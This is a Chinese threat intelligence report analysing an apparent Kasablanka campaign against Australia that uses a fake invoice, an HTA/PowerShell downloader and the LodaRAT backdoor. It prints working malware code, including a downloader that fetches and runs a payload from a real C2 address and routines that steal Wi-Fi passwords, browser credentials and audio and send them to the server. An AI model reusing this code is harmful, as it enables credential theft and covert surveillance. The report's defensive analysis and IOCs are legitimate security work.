2023年1月：疑似Kasablanka组织针对澳大利亚的攻击

概述

  瑞星威胁情报平台捕获到一起疑似针对澳大利亚的攻击事件。攻击者将诱饵文档伪装成商业发票，通过邮件发送给受害者。当受害者运行快捷方式文件后，会访问远程上的hta脚本，解码出一段PowerShell的脚本来执行，该脚本会下载诱饵文档到受害主机上，并且打开它迷惑用户；同时会下载使用Autoit编写的LodaRAT后门。据国内外多家安全厂商披露，该后门疑似是由Kasablanka组织所开发，是其特有的攻击武器，通过将本次攻击行动感染链与Kasablanka组织过往感染链的对比分析，将本次捕获到的攻击行动归属于Kasablanka组织具有高可信度。

  根据此前安全厂商披露，​Kasablanka组织主要攻击目标集中在中东，南美，亚洲部分地区（孟加拉国，乌兹别克斯坦，阿塞拜疆），涉及到政府，金融等部门。该组织攻击动机是收集信息并进行间谍活动，很有可能是一个具有国家背景的组织。

ATT&CK 矩阵

攻击事件详情

  攻击者将诱饵文档伪装成从西班牙运往澳大利亚的运费发票，当受害者运行快捷方式文件后，将会访问远程上的hta脚本，解码出一段PowerShell的脚本，PowerShell代码会下载一份名为My INVOICE诱惑文档到受害主机上，其内容如下图所示，并且打开它迷惑用户；同时下载LodaRAT后门来窃取信息。下图为诱饵文档内容：

攻击流程

样本分析

1. 初始文档：MY INVOICE.zip

  攻击者疑似通过电子邮件投递一个含有快捷方式的压缩包，当用户双击快捷方式文件时，会使用 . $env:C:\W*\S*2\m*h?a.*中的通配符匹配mshta.exe来从hxxp://185[.]254.96.226/dashboard获取INVOICE.hta并执行，这样能绕过安全产品的检测。该脚本则会解码出PowerShell代码并执行。下面是hta脚本中解码PowerShell代码的函数：

Function CMPDRoPrEh(ByVal BfKFonsrHWYXq)
    Dim nBGengrwormv
    Dim zqmt
    zqmt = 68400
    Dim neelxNf
    neelxNf = xQfunuCZRIDaGC(BfKFonsrHWYXq)
    If neelxNf = 7000 + 1204 Then
        For Each nBGengrwormv In BfKFonsrHWYXq
            Dim DPrWFniMbBuvx
            DPrWFniMbBuvx = DPrWFniMbBuvx & Chr(nBGengrwormv - zqmt)
        Next
    End If
    CMPDRoPrEh = DPrWFniMbBuvx
End Function

1.1 PowerShell代码

  PowerShell代码会从服务器获取诱饵文件MY INVOICE.pdf和由Autoit编写的LodaRAT后门NAOUSF.exe，把它们都放在临时目录下，接着会打开诱惑文件迷惑用户，同时会创建一个以"BackgroundCheck"+100以内的随机数命名的计划任务来执行NAOUSF.exe文件。

function XztPv($nwiIEOlpE, $FwPfzRhc) 
{ 
    #创建一个新文件，将指定的数据写入
    [IO.File]::WriteAllBytes($nwiIEOlpE, $FwPfzRhc)
}
function FnCoBgrmQfyZ($nwiIEOlpE) 
{
    $FyVENhsbbvmhBnsOIF = Get-Random -Maximum 100;
    $gyUINwZhZJhnagyNdo = 'BackgroundCheck' + $FyVENhsbbvmhBnsOIF;
    $xiUwLdkqAMnev = @
    {
        #创建计划任务
        Action = (New-ScheduledTaskAction -Execute $nwiIEOlpE);
        #创建计划任务触发器对象，设置为当前时间20秒后触发
        Trigger = (New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(20));
        #计划任务的名称为BackgroundCheck+100以内的随机数
        TaskName = $gyUINwZhZJhnagyNdo;
        Description = 'Task to check for updates.';
        TaskPath = 'UpdateCheck';
    }
    Register-ScheduledTask @xiUwLdkqAMnev
}
function VSEEUutGMGmQqVninQf($iJPmsCVCJBkShWsRyauF) 
{
    #Net.WebClient
    $edhmmVxVEIC = New-Object(YXnzsHOMawlSWUJz @(37676, 37699, 37714, 37644, 37685, 37699, 37696, 37665, 37706, 37703, 37699, 37708, 37714));
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    #下载文件
    $FwPfzRhc = $edhmmVxVEIC.DownloadData($iJPmsCVCJBkShWsRyauF);
    return $FwPfzRhc
}
function ucKxQDXASumu() 
{
    $nWNdfpvzui = $env:Temp + '\';$BpmEfchOaXKpDktLWhL = $nWNdfpvzui + 'MY%20INVOICE.pdf';
    If(Test-Path -Path $BpmEfchOaXKpDktLWhL)
    { 
        #若INVOICE.pdf文档存在，则打开文档迷惑用户
        Invoke-Item $BpmEfchOaXKpDktLWhL;
    }
    Else
    { 
        #从hxxp://185.254.96.226/dashboard/MY%20INVOICE.pdf下载文档
        $xAAFKGXHLkWCyXzbggCv = VSEEUutGMGmQqVninQf (YXnzsHOMawlSWUJz @(37702,37714,37714,37710,37656,37645,37645,37647,37654,37651,37644,37648,37651,37650,37644,37655,37652,37644,37648,37648,37652,37645,37698,37695,37713,37702,37696,37709,37695,37712,37698,37645,37675,37687,37635,37648,37646,37671,37676,37684,37677,37671,37665,37667,37644,37710,37698,37700));
        #创建一个新文件，将下载的INVOICE.pdf文档写入到这个文件中
        XztPv $BpmEfchOaXKpDktLWhL $xAAFKGXHLkWCyXzbggCv;
        #打开INVOICE.pdf文档
        Invoke-Item $BpmEfchOaXKpDktLWhL;
    };
    $ofCoy = $nWNdfpvzui + 'NAOUSF.exe';
    if (Test-Path -Path $ofCoy)
    {
        #如果文件存在，则创建一个20秒后执行的计划任务来运行NAOUSF.exe
        FnCoBgrmQfyZ $ofCoy;
    }
    Else
    { 
        #hxxp://185.254.96.226/dashboard/NAOUSF.exe
        $BRVlaUaYq = VSEEUutGMGmQqVninQf (YXnzsHOMawlSWUJz @(37702,37714,37714,37710,37656,37645,37645,37647,37654,37651,37644,37648,37651,37650,37644,37655,37652,37644,37648,37648,37652,37645,37698,37695,37713,37702,37696,37709,37695,37712,37698,37645,37676,37663,37677,37683,37681,37668,37644,37699,37718,37699));
        XztPv $ofCoy $BRVlaUaYq;
        #创建一个20秒后执行的计划任务来运行NAOUSF.exe
        FnCoBgrmQfyZ $ofCoy;
    }
}
ucKxQDXASumu;

2. LodaRAT后门：NAOUSF.exe

  通过反编译之后得到Autoit编写的LodaRAT后门，该后门的关键字符串被加密了，通过自定义的解密算法编写Python脚本进行解密：

解密前：

$s5qx3je7t = i7ha1sh0a("161454867Y161454911Y161454910Y161454883Y161454901Y161454910Y161454884Y161454848Y161454882Y161454911Y161454909Y161454880Y161454884Y161454866Y161454901Y161454904Y161454897Y161454886Y161454905Y161454911Y161454882Y161454865Y161454900Y161454909Y161454905Y161454910", $t7ms3sq2yi5b, $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)
$l8tn7zc1j = i7ha1sh0a("161454872Y161454875Y161454876Y161454877Y161454860Y161454851Y161454879Y161454870Y161454852Y161454855Y161454865Y161454850Y161454869Y161454860Y161454877Y161454905Y161454899Y161454882Y161454911Y161454883Y161454911Y161454902Y161454884Y161454860Y161454855Y161454905Y161454910Y161454900Y161454911Y161454887Y161454883Y161454960Y161454878Y161454852Y161454860Y161454867Y161454885Y161454882Y161454882Y161454901Y161454910Y161454884Y161454854Y161454901Y161454882Y161454883Y161454905Y161454911Y161454910", $t7ms3sq2yi5b, $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)
$c6kb0cf3pa0r = i7ha1sh0a("161454905Y161454910Y161454884Y161454960Y161454884Y161454886Y161454863Y161454883Y161454901Y161454899Y161454955Y161454905Y161454910Y161454884Y161454960Y161454884Y161454886Y161454863Y161454885Y161454883Y161454901Y161454899", $t7ms3sq2yi5b, $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)
$p9lm1ry5qm6u = i7ha1sh0a("161454905Y161454910Y161454884Y161454960Y161454902Y161454900Y161454863Y161454899Y161454911Y161454885Y161454910Y161454884Y161454955Y161454853Y161454873Y161454878Y161454852Y161454960Y161454902Y161454900Y161454863Y161454897Y161454882Y161454882Y161454897Y161454889Y161454859Y161454950Y161454948Y161454861", $t7ms3sq2yi5b, $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)
$z6fi2kn1k = i7ha1sh0a("161454908Y161454911Y161454910Y161454903Y161454960Y161454908Y161454901Y161454910Y161454903Y161454884Y161454904", $t7ms3sq2yi5b, $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)
$l8tn7zc1j6eb0ri2p = i7ha1sh0a("161454902Y161454900Y161454863Y161454899Y161454911Y161454885Y161454910Y161454884", $t7ms3sq2yi5b, $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)
$s5qx3je7t5rb9mh4rh0e=i7ha1sh0a("161454902Y161454900Y161454863Y161454897Y161454882Y161454882Y161454897Y161454889", $t7ms3sq2yi5b,  $l8sr8xb5l, $k4oi7gl4ds5f, $r7cw3at3yw6e)

解密后：

$ConsentPromptBehaviorAdmin = "ConsentPromptBehaviorAdmin"
$l8tn7zc1j = "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
$c6kb0cf3pa0r = "int tv_sec;int tv_usec"
$p9lm1ry5qm6u = "int fd_count;UINT fd_array[64]"
$z6fi2kn1k = "long length"
$l8tn7zc1j6eb0ri2p = "fd_count"
$ConsentPromptBehaviorAdmin5rb9mh4rh0e = "fd_array"

解密代码：

Func ($s4zj5pk2oh9z, $b3cx1yv7l, $y7nh9xp7fe7p, $d4iq7xt8b, $k9ad6ob3ym0g)
    Local $s7nr0vi5qe8t = ""
    Local $h1wq4in4ds6v = StringSplit($s4zj5pk2oh9z, $k9ad6ob3ym0g, 1)
    If IsArray($h1wq4in4ds6v) Then
        For $d5ow5or7s = 1 To $h1wq4in4ds6v[0]
            $s7nr0vi5qe8t &= Chr(BitXOR($h1wq4in4ds6v[$d5ow5or7s], $b3cx1yv7l, $y7nh9xp7fe7p, $d4iq7xt8b))
        Next
        Return ($s7nr0vi5qe8t)
    EndIf
EndFunc

2.1 检测杀毒软件

  通过WMI命令查询受害者机器上的防病毒产品，若存在杀毒软件，则获取产品名称和状态。

Func k4lz5ni1m()
    Dim $w6yr0sn8or1b[2]
    $w6yr0sn8or1b[0] = "x"
    $w6yr0sn8or1b[1] = "x"

    ;通过WMI命令查询受害者机器上的防病毒产品
    Local $v6ov2yr8na5y8eb1aw5f = ObjGet("winmgmts:\\localhost\root\SecurityCenter2")
    If IsObj($v6ov2yr8na5y8eb1aw5f) Then
        Local $m8sz3cm1cy0w = $v6ov2yr8na5y8eb1aw5f.execquery(Select * from AntiVirusProduct)
        If NOT IsObj($m8sz3cm1cy0w) Then Return 0
        For $p2fz7vz2vn8a In $m8sz3cm1cy0w
            $w6yr0sn8or1b[0] = $p2fz7vz2vn8a.displayname
            $w6yr0sn8or1b[1] = $p2fz7vz2vn8a.productstate
        Next
        Dim $v0sw5pu9ht4h = Hex($w6yr0sn8or1b[1])
        If StringMid($v0sw5pu9ht4h, 5, 2) = 10 OR StringMid($v0sw5pu9ht4h, 5, 2) = 11 Then
            $w6yr0sn8or1b[1] = "Enabled"
        Else
            $w6yr0sn8or1b[1] = "Disabled"
        EndIf
        If $w6yr0sn8or1b[0] = "" Then
            $w6yr0sn8or1b[0] = "No"
            $w6yr0sn8or1b[1] = "No"
        EndIf
    EndIf
    Return $w6yr0sn8or1b
EndFunc

2.2 获取系统信息

  获取电脑的类型，系统的版本。

;通过判断是否有Microsoft\Wlansvc路径来确定是台式机还是笔记本电脑
If FileExists(@AppDataCommonDir & "\Microsoft\Wlansvc") Then  
    $e2vv7qs7qcy7am8fv9t = "Laptop"
Else
    $e2vv7qs7qcy7am8fv9t = "Desktop"
EndIf
$s7cd7np1s = "185.254.96.226"
$s2ok5kx1in3i = "4000"
$s0dd6zo0x1ko2gz5cr4i = @OSArch
UserName = @UserName
OSVersion = ""

;判断是win10还是win11版本
Local $z9aq2gq3k = FileGetVersion("winver.exe")
If StringLeft($z9aq2gq3k, 2) = "10" Then
    OSVersion = "WIN_10"
ElseIf StringLeft($z9aq2gq3k, 2) = "11" Then
    OSVersion = "WIN_11"
Else
    OSVersion = @OSVersion
EndIf

2.3 执行指令

  根据接收到的远控指令，程序将执行不同的操作。包括注册表操作、目录和文件操作、获取浏览器信息，按键监听等功能，此处仅摘取部分重要指令。

  获取wifi信息：指令wixfix98a负责获取受害用户连接过的wifi信息(通过执行命令netsh wlan show profiles进行查看);指令pxfitsaaq读取无线wifi的密码。将获取到的WiFi名称和密码传送给服务器。

获取连接过的wifi信息：

If StringInStr($m4pq5jk4ru8n, "wixfix98a") Then
    $ConsentPromptBehaviorAdmin5ey6xy9ni4g = Run("netsh wlan show profiles", "", $SW_HIDE, $m4wv3sr1l)
    $p7ni7tg3yy3r = TimerInit()
    $n8sv3gg5gl7f = ""
    While 1
        Sleep(10)
        $z2da8da0k = StdoutRead($ConsentPromptBehaviorAdmin5ey6xy9ni4g, 0)
        If @error Then ExitLoop
        $n8sv3gg5gl7f &= $z2da8da0k
        If TimerDiff($p7ni7tg3yy3r) > 8000 Then ExitLoop
    WEnd
    $e2vv7qs7qvu9je9s = StringSplit($n8sv3gg5gl7f, ("Profil "), 1)
    If IsArray($e2vv7qs7qvu9je9s) Then
        $l1ik2it3i = ""
        For $p3ww7ep1u = 2 To $e2vv7qs7qvu9je9s[0] Step +1
            $k5qi9zv1p = _stringbetween($e2vv7qs7qvu9je9s[$p3ww7ep1u], (":), "")
            If IsArray($k5qi9zv1p) Then
                $o0tm6td4qe1r = StringReplace($k5qi9zv1p[0], @CRLF, "")
                $k3zu3es2t = StringReplace($o0tm6td4qe1r, " ", "")
                $l1ik2it3i &= $k3zu3es2t & ("|")
            EndIf
        Next
    EndIf
    TCPSend($i7cg7kf3y, ("Poofazxx") & $l1ik2it3i & ("fd9rawn"))
EndIf

获取wifi密码：

If StringInStr($m4pq5jk4ru8n, "pxfitsaaq") Then
    $v6ov2yr8na5y0aw7hg9hn8x = _stringbetween($m4pq5jk4ru8n, "pxfitsaaq", "ppezcc8z")
    If IsArray($v6ov2yr8na5y0aw7hg9hn8x) Then
        $l8tn7zc1j3xz5yc8f = Run("netsh wlan show profiles " & $v6ov2yr8na5y0aw7hg9hn8x[0] & "Key=Clear", "", $SW_HIDE, $m4wv3sr1l)
        $d7rz9og6ul3a = TimerInit()
        $e9bt6we2c4rg4fe7gd8s = ""
        While 1
            Sleep(10)
            $k9lh6qi9cy0l = StdoutRead($l8tn7zc1j3xz5yc8f, 0)
            If @error Then ExitLoop
            $e9bt6we2c4rg4fe7gd8s &= $k9lh6qi9cy0l
            If TimerDiff($d7rz9og6ul3a) > 8000 Then ExitLoop
        WEnd
        TCPSend($i7cg7kf3y, $e9bt6we2c4rg4fe7gd8s)
        TCPSend($i7cg7kf3y, ("PRODISPX"))
    EndIf
EndIf

  指令FoCxPArs负责获取Firefox登录信息（在Mozilla\Firefox\目录下创建foxr文件夹，并把logins.json，key4.db，cert9.db拷贝到该目录下，把这三份文件发送到服务器）。指令stealchromer是获取Chrome浏览器信息。指令stealfoxer获取Firefox浏览器的cookies信息，并把信息发送给服务器

  在获取浏览器信息时，会从http://www.autoitscript.com/autoit3/files/beta/autoit/archive/sqlite/SQLite3网站下载SQLite3.dll，如果下载不了，则会调用以十六进制内嵌的SQLite3.dll，使用SQLite3.dll来从浏览器数据库中提取敏感的信息。

If StringInStr($m4pq5jk4ru8n, "FoCxPArs") Then
    If FileExists($AppData_Firefox_Profiles) Then
        $e1xu4kx8zn4z6ox2ce7vq4t = FileOpen(AppDataDir & "\Mozilla\Firefox\profiles.ini", 0)
        $s2ct6mp1ee4m = FileRead($e1xu4kx8zn4z6ox2ce7vq4t)
        FileClose($e1xu4kx8zn4z6ox2ce7vq4t)
        $f0ui4ly7kq5g = _stringbetween($s2ct6mp1ee4m, "Path=Profiles//", @CRLF)
        If IsArray($f0ui4ly7kq5g) Then
            DirCreate($Temp_foxr)
            FileCopy($AppData_Firefox_Profiles & $f0ui4ly7kq5g[0] & $logins.json, $Temp_foxr & $logins.json, 1)
            FileCopy($AppData_Firefox_Profiles & $f0ui4ly7kq5g[0] & $key4.db, $Temp_foxr & $key4.db, 1)
            FileCopy($AppData_Firefox_Profiles & $f0ui4ly7kq5g[0] & $cert9.db, $Temp_foxr & $cert9.db, 1)
        EndIf
        Sleep(500)
        If FileExists($Temp_foxr & $logins.json) AND FileExists($Temp_foxr & $key4.db) AND FileExists($Temp_foxr & $cert9.db) Then
            $f6au9nf3n = FileOpen($Temp_foxr & $logins.json, 16)
            $l9bv6je7s = FileRead($f6au9nf3n)
            FileClose($f6au9nf3n)
            TCPSend($i7cg7kf3y, $l9bv6je7s)
            TCPSend($i7cg7kf3y, "Ijsox")
            Sleep(4000)
            $e1xu4kx8zn4z5pt4vu4ds6j = FileOpen($Temp_foxr & $key4.db, 16)
            $h0et9ve1od3a = FileRead($e1xu4kx8zn4z5pt4vu4ds6j)
            FileClose($e1xu4kx8zn4z5pt4vu4ds6j)
            TCPSend($i7cg7kf3y, $h0et9ve1od3a)
            TCPSend($i7cg7kf3y, "Ikeyox")
            Sleep(4000)
            $e1xu4kx8zn4z4sh5uf4pr9y = FileOpen($Temp_foxr & $cert9.db, 16)
            $o2gj7xt5bi9k = FileRead($e1xu4kx8zn4z4sh5uf4pr9y)
            FileClose($e1xu4kx8zn4z4sh5uf4pr9y)
            TCPSend($i7cg7kf3y, $o2gj7xt5bi9k)
            TCPSend($i7cg7kf3y, "Icertox")
        Else
            TCPSend($i7cg7kf3y, "Foixnot")
        EndIf
    Else
        TCPSend($i7cg7kf3y, "Foixnot")
    EndIf
EndIf
;获取chrome信息
If StringInStr($m4pq5jk4ru8n, ("stealchromer")) Then
    $c8bx5ie8ir1l = $p0fi6ie9d
    ;SQLite3
    u9io1zt3ns8e()
EndIf

  获取桌面目录(DeskDir)，图片目录(PictuXX)，用户目录(UserPro)，启动目录(SrtU8p)，音乐目录(Romig)，脚本目录(sepavir8s6)，以及路径%AppData%(ApDta)下的目录信息，把获取到的数据发送给服务器。

;遍历桌面目录信息
If StringInStr($m4pq5jk4ru8n, "DeskDir") Then
    $p5hf4to5vy6k = _filelisttoarray(@DesktopDir, "*")
    $e9bt6we2c7mi3re9ks4y = _arraytostring($p5hf4to5vy6k, "|", 1)
    TCPSend($i7cg7kf3y, "Starz" & $e9bt6we2c7mi3re9ks4y & "input" & @DesktopDir & "incut")
    $p5hf4to5vy6k = ""
    $e9bt6we2c7mi3re9ks4y = ""
EndIf

;枚举图片目录信息
If StringInStr($m4pq5jk4ru8n, "PictuXX") Then
    $p5hf4to5vy6k = _filelisttoarray(UserProfileDir & "\Pictures", "*")
    $e9bt6we2c7mi3re9ks4y = _arraytostring($p5hf4to5vy6k, "|", 1)
    TCPSend($i7cg7kf3y, "Starz" & $e9bt6we2c7mi3re9ks4y & "input" & UserProfileDir & "\Pictures" & "incut")
    $p5hf4to5vy6k = ""
    $e9bt6we2c7mi3re9ks4y = ""
EndIf

;枚举用户目录信息
If StringInStr($m4pq5jk4ru8n, "UserPro") Then
    $p5hf4to5vy6k = _filelisttoarray(UserProfileDir, "*")
    $e9bt6we2c7mi3re9ks4y = _arraytostring($p5hf4to5vy6k, "|", 1)
    TCPSend($i7cg7kf3y, "Starz" & $e9bt6we2c7mi3re9ks4y & "input" & UserProfileDir & "incut")
    $p5hf4to5vy6k = ""
    $e9bt6we2c7mi3re9ks4y = ""
EndIf

;枚举启动目录信息
If StringInStr($m4pq5jk4ru8n, "SrtU8p") Then
    $p5hf4to5vy6k = _filelisttoarray(@StartupDir, "*")
    $e9bt6we2c7mi3re9ks4y = _arraytostring($p5hf4to5vy6k, "|", 1)
    TCPSend($i7cg7kf3y, "Starz" & $e9bt6we2c7mi3re9ks4y & "input" & @StartupDir & "incut")
    $p5hf4to5vy6k = ""
    $e9bt6we2c7mi3re9ks4y = ""
EndIf

  录音：指令Sound|使用BASS音频库连接麦克风捕获音频，调用bacb.dll中的函数BASS_RecordGetDeviceInfo，BASS_RecordFree，BASS_RecordSetDevice，BASS_RecordInit，BASS_Encode_Start，BASS_Encode_Stop完成音频捕获命令。

;录音
If StringInStr($m4pq5jk4ru8n, ("Sound|")) Then
    $p2ch9wi3l = _stringbetween($m4pq5jk4ru8n, ("Sound|"), ("|"))
    If IsArray($p2ch9wi3l) Then
        Local $ConsentPromptBehaviorAdmin3ke3bs6jy7v = 0, $o4ms5pz0t, $l8tn7zc1j6zp1ck6yw6i = "", $w8jr5il2ib9g = "", $n5sb2mt2tb9x = 0
        x6rw3we7n()
        o7xt2qw9zo6k()
        $v6ov2yr8na5y5cc0rn4o = DllOpen($e7uq6uv9fx3k & ("\bacb.dll"))
        ;获取音频输出列表，BASS_RecordGetDeviceInfo
        $o4ms5pz0t = m0kx4jb9zc2v($ConsentPromptBehaviorAdmin3ke3bs6jy7v)
        If IsArray($o4ms5pz0t) Then
            $l8tn7zc1j6zp1ck6yw6i = $o4ms5pz0t[0]
            If $l8tn7zc1j6zp1ck6yw6i <> "" Then
                ;BASS_RecordFree
                n3ta0ye6v()
                ;BASS_RecordSetDevice
                z9hi0jj7i($l8tn7zc1j6zp1ck6yw6i)
                ;BASS_RecordInit
                w1bv4ia2r($l8tn7zc1j6zp1ck6yw6i)
                $e9bt6we2c0by4rj0y = DllCall($v6ov2yr8na5y5cc0rn4o, "dword", "RecordStart", "dword", 44100,"dword", 2, "dword", v9ll1lg0os9f($v6ov2yr8na5y4pj2ss6gu5i, 10))
                If IsArray($e9bt6we2c0by4rj0y) Then
                    $t8tz7kr0r = $e9bt6we2c0by4rj0y[0]
                    $m0sb1py3n = '"'
                    ;BASS_Encode_Start
                    $k3zw7tm8iw0s = y5qt6hj4ur8q($t8tz7kr0r, $m0sb1py3n & $e7uq6uv9fx3k & "\lam.exe" & $m0sb1py3n & "-r -x -b 128 -h - " & $m0sb1py3n & $m6bo5aw4m & $m0sb1py3n, 0)
                    $h1yt6vu1i = $p2ch9wi3l[0] & ("000")
                    Sleep($h1yt6vu1i)
                    ;BASS_Encode_Stop
                    h2pz6fc6q($k3zw7tm8iw0s)
                EndIf
            EndIf
        Else
            TCPSend($i7cg7kf3y, ("PHNUfd46"))
        EndIf
    EndIf
EndIf

  指令功能列表如下：

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征，针对的目标都是具有重大信息资产，如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等，国内相关政府机构和企业单位务必要引起重视，加强防御措施。

预防措施

1. 不打开可疑文件。

   不打开未知来源的可疑的文件和邮件，防止社会工程学和钓鱼攻击。

2. 部署网络安全态势感知、预警系统等网关安全产品。

   网关安全产品可利用威胁情报追溯威胁行为轨迹，帮助用户进行威胁行为分析、定位威胁源和目的，追溯攻击的手段和路径，从源头解决网络威胁，最大范围内发现被攻击的节点，帮助企业更快响应和处理。

3. 安装有效的杀毒软件，拦截查杀恶意文档和木马病毒。

   杀毒软件可拦截恶意文档和木马病毒，如果用户不小心下载了恶意文件，杀毒软件可拦截查杀，阻止病毒运行，保护用户的终端安全。

   瑞星ESM在3年前即可检出此次攻击事件的相关样本。

4. 及时修补系统补丁和重要软件的补丁。

沦陷信标（IOC）

• MD5

  1d42d7eb226d4140f30e3a736c90731e
  c0d620d816bd359d6f5e6819ed144214

• URL

  hxxp://185[.]254.96.226/dashboard

• IPV4

  185[.]254[.]96.226

参考链接

• https://blog.talosintelligence.com/kasablanka-lodarat/